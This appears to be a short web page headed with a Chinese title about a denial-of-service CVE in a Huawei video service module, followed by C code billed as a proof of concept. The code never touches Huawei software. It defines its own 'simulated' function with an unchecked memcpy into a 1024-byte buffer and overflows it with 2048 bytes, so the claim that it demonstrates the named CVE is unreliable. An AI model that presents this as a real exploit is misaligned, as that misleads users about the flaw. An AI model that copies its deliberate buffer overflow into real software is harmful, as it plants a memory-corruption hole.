CVE-2025-58316 华为视频系统服务模块拒绝服务漏洞

// CVE-2025-58316 PoC - Local DoS on Huawei Video Service Module // This PoC demonstrates triggering a denial of service condition // in the video-related system service module #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated vulnerable function in video service module void process_video_frame(unsigned char* frame_data, int length) { // Vulnerable code: missing proper bounds checking unsigned char buffer[1024]; memcpy(buffer, frame_data, length); // No length validation // Additional vulnerable processing... } // Trigger the vulnerability int trigger_dos() { // Craft malicious video frame with oversized data int oversized_length = 2048; // Exceeds buffer size unsigned char* malicious_frame = malloc(oversized_length); if (malicious_frame == NULL) { return -1; } memset(malicious_frame, 0xFF, oversized_length); // This will trigger the DoS condition process_video_frame(malicious_frame, oversized_length); free(malicious_frame); return 0; } int main() { printf("CVE-2025-58316 PoC - Triggering DoS...\n"); trigger_dos(); return 0; }